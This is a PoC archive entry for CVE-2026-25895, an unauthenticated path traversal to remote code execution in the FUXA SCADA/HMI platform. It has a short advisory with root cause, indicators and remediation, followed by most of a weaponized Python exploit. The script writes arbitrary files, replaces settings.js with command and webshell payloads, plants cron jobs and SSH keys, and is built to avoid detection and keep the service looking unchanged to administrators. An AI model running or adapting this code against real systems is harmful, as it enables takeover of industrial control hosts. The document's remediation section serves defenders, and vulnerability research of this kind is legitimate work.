PoC Archive PoC Archive
Critical CVE-2026-25895 patched

FUXA SCADA/HMI — Unauthenticated Path Traversal to Remote Code Execution (CVE-2026-25895)

by Anthony Cihan (Hann1bl3L3ct3r) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-25895
Category
web
Affected product
FUXA (Node.js-based SCADA/HMI platform), frangoteam
Affected versions
<= 1.2.9 (patched in 1.2.10)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherAnthony Cihan (Hann1bl3L3ct3r)
CVE / AdvisoryCVE-2026-25895
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagsfuxa, scada, ics, path-traversal, arbitrary-file-write, rce, unauthenticated, cwe-22, cron-persistence, webshell
RelatedN/A

Affected Target

FieldValue
Software / SystemFUXA (Node.js-based SCADA/HMI platform), frangoteam
Versions Affected<= 1.2.9 (patched in 1.2.10)
Language / PlatformPython 3 (PoC); target is Node.js
Authentication RequiredNo (works even with secureEnabled = true)
Network Access RequiredYes

Summary

FUXA’s POST /api/upload endpoint (server/api/projects/index.js:193) is registered without the middleware chain applied to every other project-management route, so it bypasses both the JWT/API-key check and the admin permission gate — even when the application’s own authentication is enabled. The handler builds a destination path by resolving a client-supplied destination field against the app directory with only a leading underscore prepended and no path-containment check, so a value like a/../../../../../etc climbs out of the intended directory. Combined with a preceding fs.mkdirSync(..., {recursive:true}), this gives an unauthenticated remote attacker an arbitrary file write primitive anywhere the FUXA process can write. The included PoC (fuxapwn.py) chains this write primitive into multiple RCE paths: replacing settings.js to run code on the next cold start, dropping a /etc/cron.d job for near-immediate RCE when FUXA runs as root, writing SSH authorized_keys, and installing a webshell listener inside the Node process.


Vulnerability Details

Root Cause

The /api/upload route lacks authentication middleware, and its handler concatenates an attacker-controlled destination parameter into a filesystem path using path.resolve()/path.join() without normalizing or restricting ../ traversal sequences, allowing writes outside appDir.

Attack Vector

  1. Attacker sends an unauthenticated POST /api/upload request with a destination field such as a/../../../../../etc and file content/name of choice.
  2. path.resolve(appDir, "_" + destination) climbs out of the intended app directory to an attacker-chosen absolute path.
  3. fs.mkdirSync(dir, {recursive:true}) creates any missing parent directories, then fs.writeFileSync writes the attacker’s content.
  4. The attacker leverages this write primitive to overwrite settings.js (RCE on next FUXA restart), drop a cron job (RCE within ~60s if FUXA runs as root), write to ~/.ssh/authorized_keys, or install a webshell inside the running Node process.
  5. Optionally, the companion unauthenticated GET /api/settings leak (server/api/index.js:103) is used first to fingerprint the running OS user and enable/disable status of the embedded Node-RED instance (a secondary unauthenticated RCE path when enabled).

Impact

Unauthenticated arbitrary file write leading to full remote code execution on an ICS/SCADA HMI host, including root-level persistence via cron and credential/SSH-key tampering.


Environment / Lab Setup

Target:   FUXA <= 1.2.9 (default install, HTTP port 1881)
Attacker: Python 3, `pip install requests`

Proof of Concept

PoC Script

See fuxapwn.py in this folder.

1
2
3
4
5
python3 fuxapwn.py -u http://target:1881 --mode recon --probe-root --probe-home

python3 fuxapwn.py -u http://target:1881 --mode canary

python3 fuxapwn.py -u http://target:1881 --mode cron --cron-cmd 'id > /tmp/fx.txt 2>&1'

The tool supports multiple modes (recon, canary, settings-rce, ssh-key, drop, cron, webshell, webshell-exec) built on the shared unauthenticated file-write primitive, ranging from safe proof-of-write to full interactive webshell RCE.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected modification timestamps on settings.js, /etc/cron.d/*, or ~/.ssh/authorized_keys
  • New unexplained listening ports bound inside the FUXA Node process
  • Files matching default canary/probe patterns (/tmp/healthcheck*, /tmp/.fuxa-probe-*) — note the PoC allows renaming these to avoid detection

Remediation

ActionDetail
Primary fixUpgrade to FUXA 1.2.10 or later, where /api/upload is protected by the standard authentication/authorization middleware
Interim mitigationNetwork-segment FUXA away from untrusted networks; front it with a reverse proxy blocking unauthenticated /api/upload and /api/settings; run FUXA as an unprivileged service account; disable Node-RED if unused

References


Notes

Mirrored from https://github.com/Hann1bl3L3ct3r/FUXAPWN on 2026-07-05.

fuxapwn.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
# Exploit Title: CVE-2026-25895 - FUXA Unauthenticated Path Traversal -> Arbitrary File Write -> RCE
# Date: 4/24/2026
# Exploit Author: Anthony Cihan (Hann1bl3L3ct3r)
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: <= 1.2.9 
# Tested on: Ubuntu Server 
# CVE : CVE-2026-25895

"""
CVE-2026-25895 - FUXA Unauthenticated Path Traversal -> Arbitrary File Write -> RCE
Affected: FUXA <= 1.2.9
Patched:  1.2.10

Vulnerable endpoint: POST /api/upload (server/api/projects/index.js, ~line 193)
Root cause:
  * The /api/upload route is registered with NO middleware:
        prjApp.post('/api/upload', function (req, res) { ... })
    so it bypasses both `secureFnc` (JWT/API-key) and the admin permission
    gate that wraps every other endpoint in projects/index.js.
  * Inside the handler, the JSON-body field `destination` is concatenated
    into a path with only a leading underscore and no normalization /
    containment check:
        let destinationDir = path.resolve(runtime.settings.appDir,
                                          `_${destination}`);
        filePath = path.join(destinationDir, fullPath || fileName);
        fs.writeFileSync(filePath, basedata, encoding);
    A relative payload of the form `a/../../../../<target>` makes
    Node's path.resolve() climb out of `appDir` to anywhere the FUXA
    process can write.
  * `fullPath`/`fileName` strip `..` sequences, so we control the directory
    via `destination` and the filename via `file.name`.

Exploitation: pre-auth RCE even when `secureEnabled = true`.

Authorization: this script is for credentialed penetration tests against
systems you are explicitly authorized to assess. Use only inside a defined
engagement scope.
"""

from __future__ import annotations

import argparse
import base64
import json
import posixpath
import secrets
import sys
from typing import Dict, List, Optional, Tuple
from urllib.parse import urljoin, urlparse, quote

try:
    import requests
except ImportError:
    sys.stderr.write("[-] Missing dependency: pip install requests\n")
    sys.exit(2)


BANNER = r"""
  ______ _    ___   __          _______          ___   _
 |  ____| |  | \ \ / /    /\   |  __ \ \        / / \ | |
 | |__  | |  | |\ V /    /  \  | |__) \ \  /\  / /|  \| |
 |  __| | |  | | > <    / /\ \ |  ___/ \ \/  \/ / | . ` |
 | |    | |__| |/ . \  / ____ \| |      \  /\  /  | |\  |
 |_|     \____//_/ \_\/_/    \_\_|       \/  \/   |_| \_|

   CVE-2026-25895 :: FUXA <=1.2.9 Unauth Path Traversal -> RCE
"""


# --- Server response helpers ---------------------------------------------------

def _extract_errno(response_text: str) -> Optional[str]:
    """Parse the server's error JSON body (e.g. {"error":"EACCES","message":
    "EACCES: permission denied, open '/root/x'"}) and return the errno code.
    Returns None if the body is not JSON or has no 'error' key.
    """
    if not response_text:
        return None
    try:
        data = json.loads(response_text)
    except (ValueError, TypeError):
        return None
    if isinstance(data, dict):
        err = data.get("error")
        if isinstance(err, str):
            return err
    return None


def _extract_syscall(response_text: str) -> Optional[str]:
    """Parse the server's error JSON body and return the Node.js syscall that
    failed (e.g. 'open', 'mkdir', 'write'). The upload handler forwards
    `err.message`, which for POSIX fs errors is formatted by libuv as:
        "<CODE>: <reason>, <syscall> '<path>'"
    So we pull the token between the comma and the quoted path.

    The syscall lets us distinguish ambiguous errno values. In particular, on
    EACCES the upload handler conditionally calls fs.mkdirSync(parent,
    {recursive: true}) before writing — so a non-existent /home/<user>/ gets
    mkdir-EACCES (can't create under root-owned /home/), while an existing
    /home/<other>/ (mode 0700) gets open-EACCES on the write itself. Same
    errno, different meaning.
    """
    if not response_text:
        return None
    try:
        data = json.loads(response_text)
    except (ValueError, TypeError):
        return None
    if not isinstance(data, dict):
        return None
    msg = data.get("message")
    if not isinstance(msg, str):
        return None
    # Format: "EACCES: permission denied, mkdir '/home/tony'"
    #                                      ^^^^^
    try:
        tail = msg.split(",", 1)[1].strip()   # "mkdir '/home/tony'"
        syscall = tail.split(" ", 1)[0].strip()
        if syscall and syscall.isalpha():
            return syscall.lower()
    except (IndexError, AttributeError):
        pass
    return None


# --- Low-level upload primitive ------------------------------------------------

class FuxaUploadExploit:
    """Wraps the vulnerable POST /api/upload endpoint."""

    def __init__(self, base_url: str, timeout: int = 15, verify_tls: bool = True,
                 proxy: Optional[str] = None, verbose: bool = True):
        self.base_url = base_url.rstrip("/")
        self.timeout = timeout
        self.verify_tls = verify_tls
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (FUXA-CVE-2026-25895-PoC)",
            "Content-Type": "application/json",
        })
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}

    # ---- helpers --------------------------------------------------------------

    def _log(self, msg: str) -> None:
        if self.verbose:
            print(msg, flush=True)

    def fingerprint(self) -> Tuple[bool, str]:
        """GET /api/version returns FUXA's own version string ('1.0.0' for the
        api wrapper) — used as a pre-flight reachability check.
        """
        url = urljoin(self.base_url + "/", "api/version")
        try:
            r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls)
        except requests.RequestException as e:
            return False, f"connection error: {e}"
        if r.status_code != 200:
            return False, f"unexpected status {r.status_code}"
        return True, r.text.strip()

    def fetch_settings(self) -> Tuple[bool, str, Optional[Dict]]:
        """GET /api/settings returns the full `runtime.settings` object
        (minus smtp password / secretCode) with NO auth middleware in FUXA
        <=1.2.9. Primary pre-auth information leak used by --mode recon.
        """
        url = urljoin(self.base_url + "/", "api/settings")
        try:
            r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls)
        except requests.RequestException as e:
            return False, f"connection error: {e}", None
        if r.status_code != 200:
            return False, f"unexpected status {r.status_code}", None
        try:
            return True, "ok", r.json()
        except ValueError:
            return False, f"non-JSON response (first 200B): {r.text[:200]!r}", None

    # ---- core exploit ---------------------------------------------------------

    def upload(self, destination: str, filename: str, content: bytes,
               file_type: str = "bin") -> requests.Response:
        """Send the crafted upload that triggers the path-traversal write.

        Server-side decoding rules (from server/api/projects/index.js):
          * if file.type === 'svg'  -> raw write of file.data (no decoding)
          * otherwise               -> file.data is treated as base64 and
                                       written via fs.writeFileSync(..., 'base64')
        We use base64 by default so we can deliver arbitrary binary content.
        """
        if file_type == "svg":
            # Raw text passthrough; keep file.type = 'svg' so the server
            # writes it without base64 decoding.
            data_field = content.decode("utf-8", errors="replace")
        else:
            data_field = base64.b64encode(content).decode("ascii")

        body = {
            "resource": {
                "name": filename,
                "fullPath": filename,   # written into the destination dir verbatim
                "type": file_type,
                "data": data_field,
            },
            "destination": destination,
        }

        url = urljoin(self.base_url + "/", "api/upload")
        return self.session.post(url, data=json.dumps(body),
                                 timeout=self.timeout, verify=self.verify_tls)

    def write_arbitrary(self, target_abs_path: str, content: bytes,
                        appdir_depth: int = 10, file_type: str = "bin") -> dict:
        """High-level: write `content` to any absolute path the FUXA process
        can reach.

        We assume FUXA's `runtime.settings.appDir` is the `server/` directory
        of the install. To climb out of it we prepend a dummy segment + N
        `..` jumps. `appdir_depth` is intentionally generous; extra `..`
        components past the filesystem root are no-ops on POSIX.
        """
        # Use posixpath unconditionally — the target is a Linux server, so we
        # cannot let the host's os.path module rewrite separators on Windows.
        target_abs_path = posixpath.normpath(target_abs_path.replace("\\", "/"))
        if not target_abs_path.startswith("/"):
            raise ValueError("target_abs_path must be absolute (POSIX)")

        target_dir, target_name = posixpath.split(target_abs_path)
        # destination becomes:  a/..//..//..//..//..//..//..//..  + target_dir
        # path.resolve(appDir, '_a/..//..//.../target_dir') -> target_dir
        # The leading 'a' is a throw-away segment that absorbs the '_' prefix.
        traversal = "a" + ("/.." * appdir_depth)
        destination = traversal + target_dir   # target_dir starts with '/'

        resp = self.upload(destination=destination, filename=target_name,
                           content=content, file_type=file_type)

        ok = resp.status_code == 200
        return {
            "status_code": resp.status_code,
            "response_text": resp.text[:400],
            "errno": _extract_errno(resp.text),
            "syscall": _extract_syscall(resp.text),
            "target": target_abs_path,
            "wrote_bytes": len(content),
            "success": ok,
        }


# --- High-level payloads -------------------------------------------------------

def payload_proof(host: str) -> bytes:
    """Default canary payload. Deliberately bland — no CVE ID, no vendor
    name, no tool signature — so that the file sitting on the target's
    filesystem is not a glaring IOC for log-scraping defenders or DFIR.
    Operators who want an explicit PoC demo payload should use
    --canary-content to supply their own file.
    """
    _ = host  # retained for API compatibility; intentionally unused
    return b"healthcheck ok\n"


def payload_settings_js_rce(callback_cmd: str,
                            real_settings: Optional[Dict] = None) -> bytes:
    """A drop-in replacement for FUXA's _appdata/settings.js.

    The file is loaded via require() in main.js at every startup, so any JS
    placed at module top-level executes inside the FUXA Node process the
    next time FUXA initializes. Passing `real_settings` (the dict returned
    by GET /api/settings) preserves the target's actual configuration —
    uiPort, allowedOrigins, secureEnabled, custom paths — so admins don't
    notice config drift after restart.
    """
    # NB: the callback_cmd is interpolated as a JS string. Escape backslashes
    # and single-quotes so it survives JS parsing. Single-quoted JS string.
    safe = callback_cmd.replace("\\", "\\\\").replace("'", "\\'")
    return (
        "// CVE-2026-25895 PoC — replacement settings.js (command payload)\n"
        "try {\n"
        "    require('child_process').exec('" + safe + "',\n"
        "        { detached: true, stdio: 'ignore' });\n"
        "} catch (e) { /* swallow so FUXA still boots */ }\n"
        "\n"
        + _settings_module_exports(real_settings)
    ).encode("utf-8")


def payload_authorized_keys(pubkey: str) -> bytes:
    return (pubkey.rstrip("\n") + "\n").encode("utf-8")


# --- Webshell payload ----------------------------------------------------------
#
# The canonical Node-on-target webshell: a replacement settings.js module
# that, at module-load time, spawns an HTTP listener inside the FUXA process.
# The listener exposes a single authenticated endpoint that runs commands via
# child_process.exec and returns stdout/stderr in the HTTP response body.
#
# Design notes:
#  * Bind on 0.0.0.0:<ws_port> (configurable). Different port from FUXA's
#    main 1881 so we don't collide with the app's own Express server.
#  * Auth: required token via `X-Auth-Token` header OR `?t=<token>` query.
#    Wrong / missing token -> 404 (indistinguishable from a non-existent
#    endpoint) to make the listener invisible to dumb scanners.
#  * Path: configurable random secret path (default: 24 random hex chars).
#    Requests to any other path also get 404.
#  * Error isolation: server.on('error', ...) swallows EADDRINUSE and
#    friends so a restart cycle that can't rebind the port does NOT take
#    FUXA down. Try/catch wraps the whole initialization for the same
#    reason — the settings.js load path MUST NOT throw, or FUXA will
#    fail to boot.
#  * The module still exports the full settings object verbatim so FUXA
#    boots cleanly and operators see a healthy service.

def payload_webshell_js(ws_port: int, ws_path: str, ws_token: str,
                        real_settings: Optional[Dict] = None) -> bytes:
    """Replacement settings.js that, on FUXA startup, binds an authenticated
    HTTP command-execution endpoint inside the Node process.

    Passing `real_settings` (from GET /api/settings) preserves the target's
    actual configuration in the module.exports block so the service looks
    unchanged to admins after restart.
    """
    # All three operator inputs are interpolated into a JS string literal.
    # Escape backslashes + single quotes so nothing breaks out.
    def esc(s: str) -> str:
        return s.replace("\\", "\\\\").replace("'", "\\'")

    path_js = esc(ws_path if ws_path.startswith("/") else "/" + ws_path)
    token_js = esc(ws_token)

    return (
        "// CVE-2026-25895 PoC — replacement settings.js (HTTP webshell)\n"
        "try {\n"
        "    const http = require('http');\n"
        "    const { exec } = require('child_process');\n"
        "    const urlMod = require('url');\n"
        "    const WS_PORT  = " + str(int(ws_port)) + ";\n"
        "    const WS_PATH  = '" + path_js + "';\n"
        "    const WS_TOKEN = '" + token_js + "';\n"
        "    const server = http.createServer((req, res) => {\n"
        "        try {\n"
        "            const parsed = urlMod.parse(req.url || '', true);\n"
        "            const hdrTok = req.headers['x-auth-token'];\n"
        "            const qTok = parsed.query && parsed.query.t;\n"
        "            const tok = (typeof hdrTok === 'string') ? hdrTok : qTok;\n"
        "            if (parsed.pathname !== WS_PATH || tok !== WS_TOKEN) {\n"
        "                res.writeHead(404, {'Content-Type': 'text/plain'});\n"
        "                res.end('Not Found');\n"
        "                return;\n"
        "            }\n"
        "            const handle = (cmd) => {\n"
        "                if (!cmd) {\n"
        "                    res.writeHead(400, {'Content-Type': 'text/plain'});\n"
        "                    res.end('missing cmd');\n"
        "                    return;\n"
        "                }\n"
        "                exec(cmd, { timeout: 60000, maxBuffer: 16*1024*1024, shell: '/bin/sh' },\n"
        "                    (err, stdout, stderr) => {\n"
        "                        let out = '';\n"
        "                        if (stdout) out += stdout.toString();\n"
        "                        if (stderr) out += stderr.toString();\n"
        "                        if (err && typeof err.code !== 'undefined' && err.code !== 0) {\n"
        "                            out += '\\n[exit ' + err.code + ']';\n"
        "                        }\n"
        "                        res.writeHead(200, {'Content-Type': 'text/plain; charset=utf-8'});\n"
        "                        res.end(out);\n"
        "                    });\n"
        "            };\n"
        "            if (req.method === 'POST') {\n"
        "                let body = '';\n"
        "                req.on('data', (c) => { body += c; if (body.length > 65536) req.destroy(); });\n"
        "                req.on('end', () => {\n"
        "                    let cmd = parsed.query.cmd;\n"
        "                    if (!cmd && body) {\n"
        "                        try {\n"
        "                            const j = JSON.parse(body);\n"
        "                            cmd = j.cmd;\n"
        "                        } catch (e) { cmd = body; }\n"
        "                    }\n"
        "                    handle(cmd);\n"
        "                });\n"
        "                req.on('error', () => { try { res.end(); } catch (e) {} });\n"
        "            } else {\n"
        "                handle(parsed.query.cmd);\n"
        "            }\n"
        "        } catch (e) {\n"
        "            try { res.writeHead(500); res.end('err'); } catch (ee) {}\n"
        "        }\n"
        "    });\n"
        "    server.on('error', () => { /* swallow bind errors */ });\n"
        "    server.listen(WS_PORT, '0.0.0.0');\n"
        "} catch (e) { /* swallow so FUXA still boots */ }\n"
        "\n"
        + _settings_module_exports(real_settings)
    ).encode("utf-8")


def _settings_module_exports(real_settings: Optional[Dict] = None) -> str:
    """Return JS source for `module.exports = {...}`.

    When `real_settings` is provided (fetched from GET /api/settings), emit
    it as a JSON literal — JSON is a valid JavaScript expression when used
    as an object literal, and this preserves the target's real uiPort,
    allowedOrigins, secureEnabled, custom paths, etc. so admins don't spot
    config drift after restart.

    Caveats (see server/api/index.js:103-110):
      * `/api/settings` DELETES `secretCode` from its response, and
        `smtp.password` if smtp is set. Our replacement settings.js will not
        contain them. jwt-helper.js:6 falls back to 'frangoteam751' when
        secretCode is missing, which invalidates any existing JWTs issued
        under a previously-customized secretCode. The default install has
        secretCode commented out (settings.default.js:94), so most targets
        are unaffected — but when `secureEnabled: true`, warn the operator.
      * process.env.PORT resolution is lost (we only see the runtime value).
        In practice FUXA installs rarely rely on PORT env dynamism.

    When `real_settings` is None, fall back to a minimal config that matches
    settings.default.js so FUXA still boots. Use this only when the recon
    fetch failed — prefer the real-settings path.
    """
    if real_settings is not None:
        body = json.dumps(real_settings, indent=4, ensure_ascii=False,
                          sort_keys=False, default=str)
        return "module.exports = " + body + ";\n"
    # Fallback — minimal config derived from FUXA 1.2.9 settings.default.js.
    return (
        "module.exports = {\n"
        "    version: 1.4,\n"
        "    language: 'en',\n"
        "    uiPort: process.env.PORT || 1881,\n"
        "    logDir: '_logs',\n"
        "    logApiLevel: 'tiny',\n"
        "    dbDir: '_db',\n"
        "    daqEnabled: true,\n"
        "    daqTokenizer: 24,\n"
        "    logs: { retention: 'none' },\n"
        "    broadcastAll: false,\n"
        "    allowedOrigins: ['http://localhost', 'http://127.0.0.1',\n"
        "                     'http://192.168.*', 'http://10.*',\n"
        "                     'http://localhost:4200'],\n"
        "    heartbeatIntervalSec: 10,\n"
        "    webcamSnapShotsDir: '_webcam_snapshots',\n"
        "    webcamSnapShotsCleanup: false,\n"
        "    webcamSnapShotsRetain: 7,\n"
        "    swaggerEnabled: false,\n"
        "    nodeRedEnabled: false,\n"
        "};\n"
    )


# --- Cron payload --------------------------------------------------------------
#
# The write primitive can drop directly into cron-reread paths. When FUXA
# runs as root (common in container deployments, and in any install where
# the service was started by an admin who didn't bother with a dedicated
# user), /etc/cron.d/<name> is re-read every minute by the cron daemon —
# that's RCE with a <=60s delay and no FUXA restart.
#
# When FUXA runs as a non-root user, /var/spool/cron/crontabs/<user>
# (Debian/Vixie layout) or /var/spool/cron/<user> (RHEL/cronie) is the
# equivalent, but those user-crontab paths require mode 0600 and the
# correct owning uid; fs.writeFileSync will produce mode 0644 owned by
# the FUXA uid, which matches the owner but not the mode — Vixie rejects,
# cronie accepts. Test per engagement.

_CRON_HEADER = (
    "# FUXA health monitor\n"
    "SHELL=/bin/sh\n"
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n"
)


def payload_cron_job(schedule: str, user: Optional[str], cmd: str) -> bytes:
    """Build a cron file body.

    If `user` is given (required for /etc/cron.d/* and /etc/crontab), the
    user field is included. For /var/spool/cron/crontabs/<user> style files,
    pass user=None so only `schedule cmd` is written.
    """
    if user:
        line = f"{schedule} {user} {cmd}\n"
    else:
        line = f"{schedule} {cmd}\n"
    return (_CRON_HEADER + line).encode("utf-8")


# --- Webshell client -----------------------------------------------------------
#
# Convenience: after writing the webshell payload, the operator can exec
# commands through it directly from this script instead of reaching for curl.

class FuxaWebshellClient:
    """Thin HTTP client for the webshell listener embedded in settings.js."""

    def __init__(self, host: str, port: int, ws_path: str, ws_token: str,
Showing 500 of 1523 lines View full file on GitHub →